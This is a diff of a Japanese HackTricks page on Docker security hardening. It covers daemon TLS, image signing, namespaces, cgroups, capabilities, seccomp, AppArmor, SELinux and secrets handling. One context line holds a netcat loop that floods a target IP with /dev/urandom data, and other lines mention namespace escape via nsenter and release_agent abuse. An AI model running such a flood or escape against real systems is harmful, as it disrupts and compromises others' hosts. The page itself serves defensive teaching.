- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -24,23 +24,23 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## **基本的なDocker Engineセキュリティ**
|
||||
|
||||
**Docker Engine**は、コンテナを分離するためにLinuxカーネルの**Namespaces**と**Cgroups**を使用し、基本的なセキュリティレイヤーを提供します。**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**を介して追加の保護が提供され、コンテナの分離が強化されます。**認証プラグイン**を使用すると、ユーザーのアクションをさらに制限できます。
|
||||
**Docker Engine**は、Linuxカーネルの**Namespaces**と**Cgroups**を使用してコンテナを分離し、基本的なセキュリティレイヤーを提供します。**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**による追加の保護により、コンテナの分離が強化されます。**authプラグイン**を使用すると、ユーザーのアクションをさらに制限できます。
|
||||
|
||||
![Dockerセキュリティ](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
### Docker Engineへの安全なアクセス
|
||||
|
||||
Docker Engineは、ローカルでUnixソケットを介してまたはHTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。
|
||||
Docker Engineは、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。
|
||||
|
||||
デフォルトでは、Docker EngineはUnixソケットで`unix:///var/run/docker.sock`でリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケットで公開します:
|
||||
デフォルトでは、Docker EngineはUnixソケットで`unix:///var/run/docker.sock`でリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケットで公開してください:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
ただし、セキュリティ上の懸念から、DockerデーモンをHTTP経由で公開することは推奨されません。接続をHTTPSで保護することをお勧めします。接続を保護するための主なアプローチは2つあります:
|
||||
ただし、セキュリティ上の懸念から、DockerデーモンをHTTP経由で公開することは推奨されません。接続をHTTPSを使用してセキュアにすることがお勧めされます。接続をセキュアにするための主なアプローチは2つあります:
|
||||
|
||||
1. クライアントがサーバーの正体を確認します。
|
||||
2. クライアントとサーバーがお互いの正体を相互認証します。
|
||||
1. クライアントがサーバーの正体を確認する。
|
||||
2. クライアントとサーバーがお互いの正体を相互認証する。
|
||||
|
||||
証明書はサーバーの正体を確認するために使用されます。両方の方法の詳細な例については、[**このガイド**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)を参照してください。
|
||||
|
||||
|
@ -50,7 +50,7 @@ sudo service docker restart
|
|||
|
||||
* [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): ユーザーが独自のレジストリをホストできるオープンソースプロジェクト。
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Dockerの商用レジストリオファリングで、ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を提供します。
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Dockerの商用レジストリオファリングで、ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を提供しています。
|
||||
|
||||
### イメージスキャン
|
||||
|
||||
|
@ -95,8 +95,8 @@ Dockerイメージの署名は、コンテナで使用されるイメージの
|
|||
- **Docker Content Trust** は、Notaryプロジェクトを利用し、The Update Framework (TUF) に基づいてイメージの署名を管理します。詳細については、[Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。
|
||||
- Dockerコンテンツ信頼を有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Dockerバージョン1.10以降ではデフォルトでオフになっています。
|
||||
- この機能を有効にすると、署名されたイメージのみをダウンロードできます。最初のイメージプッシュでは、ルートとタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)にあります。
|
||||
- コンテンツ信頼が有効な状態で署名されていないイメージを取得しようとすると、「最新の信頼データがありません」というエラーが発生します。
|
||||
- 最初の後のイメージプッシュでは、Dockerはイメージに署名するためにリポジトリキーのパスフレーズを要求します。
|
||||
- コンテンツ信頼が有効な状態で署名されていないイメージをプルしようとすると、「最新の信頼データがありません」というエラーが発生します。
|
||||
- 最初以降のイメージプッシュでは、Dockerはイメージに署名するためにリポジトリキーのパスフレーズを要求します。
|
||||
|
||||
プライベートキーをバックアップするには、次のコマンドを使用します:
|
||||
```bash
|
||||
|
@ -106,7 +106,7 @@ Dockerホストを切り替える際には、操作を維持するためにル
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -120,56 +120,56 @@ Dockerホストを切り替える際には、操作を維持するためにル
|
|||
|
||||
<summary>コンテナセキュリティ機能の概要</summary>
|
||||
|
||||
#### メインプロセスの分離機能
|
||||
**メインプロセス分離機能**
|
||||
|
||||
コンテナ化された環境では、プロジェクトとそのプロセスを分離することがセキュリティとリソース管理にとって重要です。以下は、主要な概念の簡略化された説明です:
|
||||
|
||||
**ネームスペース**
|
||||
|
||||
* **目的**: プロセス、ネットワーク、およびファイルシステムなどのリソースの分離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。
|
||||
* **`unshare`の使用**: `unshare`コマンド(またはその基礎となるシスコール)は、新しいネームスペースを作成するために使用され、追加の分離レイヤーを提供します。ただし、Kubernetesはこれを元々ブロックしませんが、Dockerはします。
|
||||
* **制限**: 新しいネームスペースを作成することで、プロセスがホストのデフォルトのネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入力します。
|
||||
* **`unshare`の使用**: `unshare`コマンド(または基礎となるシスコール)は新しいネームスペースを作成するために使用され、追加の分離レイヤーを提供します。ただし、Kubernetesはこれを元々ブロックしませんが、Dockerはします。
|
||||
* **制限**: 新しいネームスペースを作成することで、プロセスがホストのデフォルトのネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリにアクセスし、`nsenter`を使用する必要があります。
|
||||
|
||||
**コントロールグループ(CGroups)**
|
||||
|
||||
* **機能**: プロセス間でリソースを割り当てるために主に使用されます。
|
||||
* **セキュリティの側面**: CGroups自体は分離セキュリティを提供しませんが、`release_agent`機能は、誤って構成されている場合、不正アクセスに悪用される可能性があります。
|
||||
* **セキュリティ面**: CGroups自体は分離セキュリティを提供しませんが、`release_agent`機能は、誤って構成されている場合、権限のないアクセスに悪用される可能性があります。
|
||||
|
||||
**機能の削除**
|
||||
|
||||
* **重要性**: プロセスの分離のための重要なセキュリティ機能です。
|
||||
* **重要性**: プロセス分離のための重要なセキュリティ機能です。
|
||||
* **機能**: 特定の機能を削除することで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な機能がないため、特権アクションを実行できません。シスコールは権限が不足しているため失敗します。
|
||||
```
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Seccomp
|
||||
**Seccomp**
|
||||
|
||||
デフォルトでDockerに有効になっています。これにより、プロセスが呼び出すことができる**syscallsをさらに制限**するのに役立ちます。\
|
||||
Dockerではデフォルトで有効になっています。これにより、プロセスが呼び出すことができる**システムコールをさらに制限**するのに役立ちます。\
|
||||
**デフォルトのDocker Seccompプロファイル**は[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。
|
||||
|
||||
### AppArmor
|
||||
**AppArmor**
|
||||
|
||||
Dockerにはアクティベートできるテンプレートがあります: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Dockerには、アクティブ化できるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
これにより、機能の削減、syscalls、ファイルやフォルダへのアクセスが可能になります...
|
||||
これにより、機能の制限、システムコール、ファイルやフォルダへのアクセスが制限されます...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
### 名前空間
|
||||
|
||||
**Namespaces**はLinuxカーネルの機能で、1つの**プロセス**セットが1つの**リソース**セットを**見る**一方、別の**プロセス**セットが**異なる**リソースセットを**見る**ようにカーネルリソースを**分割**する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する可能性があります。
|
||||
**名前空間**はLinuxカーネルの機能で、1つの**プロセス**セットが1つの**リソース**セットを**見る**一方、別の**プロセス**セットが**異なる**リソースセットを**見る**ようにカーネルリソースを**分割**する機能です。この機能は、一連のリソースとプロセスに同じ名前空間があるが、それらの名前空間が異なるリソースを参照するように機能します。リソースは複数のスペースに存在する可能性があります。
|
||||
|
||||
Dockerは、コンテナの分離を実現するために以下のLinuxカーネルNamespacesを利用しています:
|
||||
Dockerは、コンテナの分離を実現するために以下のLinuxカーネル名前空間を利用しています:
|
||||
|
||||
* pid namespace
|
||||
* mount namespace
|
||||
* network namespace
|
||||
* ipc namespace
|
||||
* UTS namespace
|
||||
* pid名前空間
|
||||
* マウント名前空間
|
||||
* ネットワーク名前空間
|
||||
* ipc名前空間
|
||||
* UTS名前空間
|
||||
|
||||
**名前空間に関する詳細情報**については、以下のページを参照してください:
|
||||
**名前空間に関する詳細情報**については、以下のページを参照してください:
|
||||
|
||||
{% content-ref url="namespaces/" %}
|
||||
[namespaces](namespaces/)
|
||||
|
@ -177,8 +177,8 @@ Dockerは、コンテナの分離を実現するために以下のLinuxカーネ
|
|||
|
||||
### cgroups
|
||||
|
||||
Linuxカーネル機能**cgroups**は、一連のプロセス間でcpu、memory、io、network bandwidthなどのリソースを**制限**する機能を提供します。 Dockerは、cgroup機能を使用してリソース制御を可能にするコンテナを作成することができます。\
|
||||
以下は、ユーザースペースメモリが500mに制限され、カーネルメモリが50mに制限され、CPUシェアが512に、blkioweightが400に制限されたコンテナの例です。 CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。 CPUリソースの競合が発生した場合、CPUシェアが1024の3つのコンテナが同じ場合、各コンテナはCPUの33%まで取得できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
|
||||
Linuxカーネル機能である**cgroups**は、一連のプロセス間でcpu、メモリ、io、ネットワーク帯域幅などのリソースを**制限**する機能を提供します。 Dockerは、cgroup機能を使用してリソース制御を可能にするコンテナを作成することができます。\
|
||||
以下は、ユーザースペースメモリが500mに制限され、カーネルメモリが50mに制限され、CPU共有が512に、blkioweightが400に設定されたコンテナの例です。 CPU共有は、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。 CPUリソースの競合が発生した場合、CPU共有が1024の3つのコンテナがある場合、各コンテナはCPUの33%まで取得できます。 blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -188,17 +188,17 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
|
|||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
以下の情報をご確認ください:
|
||||
以下は、特権昇格に関する情報です:
|
||||
|
||||
{% content-ref url="cgroups.md" %}
|
||||
[cgroups.md](cgroups.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Capabilities
|
||||
### 機能
|
||||
|
||||
Capabilitiesはrootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で行われる操作を制限します。
|
||||
機能は、rootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で行われる操作を制限します。
|
||||
|
||||
Dockerコンテナが実行されると、プロセスは隔離から脱出するために使用できる機密情報を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようにします:
|
||||
Dockerコンテナが実行されると、プロセスは隔離から脱出するために使用できる機密機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようにします:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -206,7 +206,7 @@ Dockerコンテナが実行されると、プロセスは隔離から脱出す
|
|||
|
||||
### Docker内のSeccomp
|
||||
|
||||
これはDockerがコンテナ内で使用できるシステムコールを制限するセキュリティ機能です:
|
||||
これは、Dockerがコンテナ内で使用できるシステムコールを制限するセキュリティ機能です:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -214,7 +214,7 @@ Dockerコンテナが実行されると、プロセスは隔離から脱出す
|
|||
|
||||
### Docker内のAppArmor
|
||||
|
||||
AppArmorは、コンテナを限られたリソースセットに制限するためのカーネルの拡張機能であり、プログラムごとのプロファイルを使用します。:
|
||||
AppArmorは、コンテナを限られたリソースセットに制限するためのカーネルの拡張機能です。:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -226,9 +226,9 @@ AppArmorは、コンテナを限られたリソースセットに制限するた
|
|||
* **ポリシーの強制**: プロセスラベルがシステム内の他のラベルに対して実行できるアクションを定義するセキュリティポリシーを強制します。
|
||||
* **コンテナプロセスラベル**: コンテナエンジンがコンテナプロセスを開始するとき、通常は`container_t`という制限されたSELinuxラベルが割り当てられます。
|
||||
* **コンテナ内のファイルラベリング**: コンテナ内のファイルは通常、`container_file_t`としてラベル付けされます。
|
||||
* **ポリシールール**: SELinuxポリシーは、主に`container_t`ラベルを持つプロセスが`container_file_t`とラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できることを保証します。
|
||||
* **ポリシールール**: SELinuxポリシーは、主に`container_t`ラベルを持つプロセスが`container_file_t`としてラベル付けされたファイルとのみ相互作用(読み取り、書き込み、実行)できることを確認します。
|
||||
|
||||
このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとのみ相互作用するように制限され、そのような侵害からの潜在的な被害が大幅に制限されます。
|
||||
このメカニズムにより、コンテナ内のプロセスが侵害された場合でも、対応するラベルを持つオブジェクトとの相互作用に制限され、そのような侵害からの潜在的な被害が大幅に制限されます。
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -236,12 +236,12 @@ AppArmorは、コンテナを限られたリソースセットに制限するた
|
|||
|
||||
### AuthZ&AuthN
|
||||
|
||||
Dockerでは、認可プラグインが重要な役割を果たし、Dockerデーモンへのリクエストを許可するかブロックするかを決定します。この決定は、次の2つのキーとなるコンテキストを調査することで行われます:
|
||||
Dockerでは、認可プラグインが重要な役割を果たし、Dockerデーモンへのリクエストを許可するかブロックするかを決定します。この決定は、次の2つのキーとなるコンテキストを調査することによって行われます:
|
||||
|
||||
* **認証コンテキスト**: これには、ユーザーに関する包括的な情報が含まれます。たとえば、ユーザーが誰であり、どのように認証されたかなどです。
|
||||
* **コマンドコンテキスト**: これには、行われているリクエストに関連するすべての関連データが含まれます。
|
||||
* **コマンドコンテキスト**: これには、リクエストに関連するすべての関連データが含まれます。
|
||||
|
||||
これらのコンテキストにより、認証されたユーザーからの正当なリクエストのみが処理されることが保証され、Docker操作のセキュリティが向上します。
|
||||
これらのコンテキストにより、認証されたユーザーからの正当なリクエストのみが処理され、Docker操作のセキュリティが向上します。
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -267,7 +267,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
|
|||
|
||||
### --privileged フラグ
|
||||
|
||||
次のページで、**`--privileged` フラグが何を意味するか**を学ぶことができます:
|
||||
次のページで、**`--privileged` フラグが意味するもの**を学ぶことができます:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
|
@ -277,7 +277,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
低権限ユーザーとしてアクセスを取得した攻撃者がコンテナを実行している場合、**誤構成されたsuidバイナリ**があると、攻撃者はそれを悪用してコンテナ内で**特権を昇格**させる可能性があります。これにより、脱出することができるかもしれません。
|
||||
低権限ユーザーとしてアクセスを取得した攻撃者がコンテナを実行している場合、**誤構成されたsuidバイナリ**があると、攻撃者はそれを悪用してコンテナ内で**特権を昇格**させる可能性があります。これにより、コンテナから脱出することができるかもしれません。
|
||||
|
||||
**`no-new-privileges`** オプションを有効にしてコンテナを実行すると、**この種の特権昇格を防ぐ**ことができます。
|
||||
```
|
||||
|
@ -298,29 +298,29 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
さらなる**`--security-opt`**オプションについては、[https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)を参照してください。
|
||||
さらなる**`--security-opt`**オプションについては、[https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) を参照してください。
|
||||
|
||||
## その他のセキュリティ考慮事項
|
||||
|
||||
### シークレットの管理:ベストプラクティス
|
||||
|
||||
Dockerイメージにシークレットを直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`などのコマンドを介してコンテナにアクセス権を持つ者に機密情報を公開してしまいます。
|
||||
Dockerイメージにシークレットを直接埋め込んだり、環境変数を使用したりすることは避けることが重要です。これらの方法は、`docker inspect`や`exec`などのコマンドを使用してコンテナにアクセスできる人に機密情報を公開してしまいます。
|
||||
|
||||
**Dockerボリューム**は、機密情報にアクセスするために推奨されるより安全な代替手段です。これらは一時的なメモリ内のファイルシステムとして利用でき、`docker inspect`やログ記録に関連するリスクを軽減します。ただし、ルートユーザーやコンテナへの`exec`アクセス権を持つユーザーは依然としてシークレットにアクセスできる可能性があります。
|
||||
|
||||
**Dockerシークレット**は、機密情報を取り扱うためのさらに安全な方法を提供します。イメージのビルドフェーズ中にシークレットが必要な場合、**BuildKit**はビルド時間シークレットをサポートする効率的なソリューションを提供し、ビルド速度を向上させ、追加の機能を提供します。
|
||||
**Dockerシークレット**は、機密情報を取り扱うためのさらに安全な方法を提供します。イメージのビルドフェーズ中にシークレットが必要な場合、**BuildKit**はビルド時間のシークレットをサポートする効率的なソリューションを提供し、ビルド速度を向上させ、追加の機能を提供します。
|
||||
|
||||
BuildKitを活用するためには、次の3つの方法でアクティブ化できます:
|
||||
|
||||
1. 環境変数を介して:`export DOCKER_BUILDKIT=1`
|
||||
2. コマンドにプレフィックスを付けて:`DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Docker構成でデフォルトで有効にする:`{ "features": { "buildkit": true } }`と記述し、その後にDockerを再起動します。
|
||||
3. Docker構成でデフォルトで有効にする:`{ "features": { "buildkit": true } }`を設定し、その後Dockerを再起動します。
|
||||
|
||||
BuildKitを使用すると、`--secret`オプションを使用してビルド時間シークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。
|
||||
BuildKitを使用すると、`--secret`オプションを使用してビルド時間のシークレットを利用でき、これらのシークレットがイメージビルドキャッシュや最終イメージに含まれないようにします。
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
実行中のコンテナで必要なシークレットについては、**Docker ComposeとKubernetes**が堅牢なソリューションを提供しています。Docker Composeは、`docker-compose.yml`の例に示すように、サービス定義内の`secrets`キーを使用してシークレットファイルを指定します。
|
||||
実行中のコンテナで必要なシークレットについては、**Docker ComposeとKubernetes**が堅牢なソリューションを提供しています。Docker Composeは、`docker-compose.yml`の例に示すように、サービス定義でシークレットファイルを指定するための`secrets`キーを利用します。
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -333,35 +333,35 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
この設定により、Docker Composeを使用してサービスを起動する際にシークレットを使用できます。
|
||||
この設定では、Docker Composeを使用してサービスを起動する際にシークレットを使用できるようになります。
|
||||
|
||||
Kubernetes環境では、シークレットはネイティブでサポートされ、[Helm-Secrets](https://github.com/futuresimple/helm-secrets)などのツールでさらに管理できます。KubernetesのRole Based Access Controls(RBAC)は、Docker Enterpriseと同様にシークレット管理のセキュリティを向上させます。
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムサーフェスの大部分を実装しています。これには、アプリケーションとホストカーネルの間の**隔離境界**を提供する[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムである`runsc`が含まれています。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
|
||||
**gVisor**は、Goで書かれたアプリケーションカーネルであり、Linuxシステムサーフェスの大部分を実装しています。これには、`runsc`と呼ばれる[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムが含まれており、**アプリケーションとホストカーネルの間の隔離境界**を提供します。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers**は、コンテナのように感じ、パフォーマンスが高い軽量な仮想マシンを使用して、**ハードウェア仮想化技術を使用してより強力なワークロード分離**を提供するセキュアなコンテナランタイムを構築するために取り組むオープンソースコミュニティです。
|
||||
**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを発揮するが、第2の防御層としてハードウェア仮想化技術を使用して**強力なワークロード分離**を提供するセキュアなコンテナランタイムを構築するために取り組むオープンソースコミュニティです。
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### 要約のヒント
|
||||
|
||||
* **`--privileged`フラグを使用しない**か、[**コンテナ内にDockerソケットをマウントしないでください**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)。 Dockerソケットを使用すると、コンテナを生成することができるため、たとえば`--privileged`フラグを使用して別のコンテナを実行することでホストを完全に制御することができます。
|
||||
* コンテナ内で**rootとして実行しないでください。**[**異なるユーザー**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **と**[**ユーザーネームスペース**](https://docs.docker.com/engine/security/userns-remap/) **を使用してください。** コンテナ内のrootは、ユーザーネームスペースでリマップされていない限り、ホストと同じです。主にLinuxのネームスペース、機能、およびcgroupsによって軽く制限されています。
|
||||
* コンテナ内で**rootとして実行しないでください。**[**異なるユーザー**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **と**[**ユーザーネームスペース**](https://docs.docker.com/engine/security/userns-remap/) **を使用してください。** コンテナ内のrootは、ユーザーネームスペースでリマップされていない限り、ホストと同じです。主にLinuxのネームスペース、機能、およびcgroupsによってわずかに制限されています。
|
||||
* [**すべての機能を削除**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)し、必要な機能のみを有効にしてください**(`--cap-add=...`)。多くのワークロードには機能が必要ない場合があり、それらを追加すると攻撃の範囲が広がります。
|
||||
* プロセスがsuidバイナリを介して特権を取得するのを防ぐために、**“no-new-privileges”セキュリティオプションを使用してください**。
|
||||
* コンテナに利用可能なリソースを**制限してください**。リソース制限は、マシンをサービス拒否攻撃から保護できます。
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**、**[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(またはSELinux)**プロファイルを調整して、コンテナで利用可能なアクションとシスコールを最小限に制限してください。
|
||||
* **[公式のDockerイメージ](https://docs.docker.com/docker-hub/official_images/)**を使用し、署名を要求するか、それらを基に独自のイメージを構築してください。バックドアが仕込まれたイメージを継承したり使用しないでください。また、ルートキー、パスフレーズを安全な場所に保存してください。 Dockerは、UCPでキーを管理する計画を立てています。
|
||||
* **[公式のDockerイメージ](https://docs.docker.com/docker-hub/official_images/)**を使用し、署名を要求するか、それらを基に独自のイメージを構築してください。[バックドアが仕込まれた](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)イメージを継承したり使用しないでください。また、ルートキー、パスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する計画を立てています。
|
||||
* **イメージを定期的に再構築**して、ホストとイメージにセキュリティパッチを適用してください。
|
||||
* **シークレットを賢く管理**して、攻撃者がそれらにアクセスするのが難しくなるようにしてください。
|
||||
* **シークレットを賢く管理**して、攻撃者がアクセスしにくくしてください。
|
||||
* Dockerデーモンを公開する場合は、HTTPSを使用して、クライアントとサーバーの認証を行ってください。
|
||||
* Dockerfileでは、**ADDの代わりにCOPYを使用**してください。ADDは自動的にzipファイルを解凍し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限りADDを使用せず、リモートURLやZipファイルを介した攻撃に対して脆弱にならないようにしてください。
|
||||
* Dockerfileでは、**ADDの代わりにCOPYを使用**してください。ADDは自動的にzipファイルを解凍し、URLからファイルをコピーできます。COPYにはこれらの機能がありません。可能な限り、ADDを使用せずにリモートURLやZipファイルを介した攻撃に対して脆弱にならないようにしてください。
|
||||
* 各マイクロサービスに**別々のコンテナを使用**してください。
|
||||
* コンテナ**イメージを小さくしてください**
|
||||
|
||||
|
@ -402,10 +402,10 @@ Dockerソケットにアクセス権があるか、**dockerグループのユー
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および自動化できます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**してください。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -416,9 +416,7 @@ Dockerソケットにアクセス権があるか、**dockerグループのユー
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
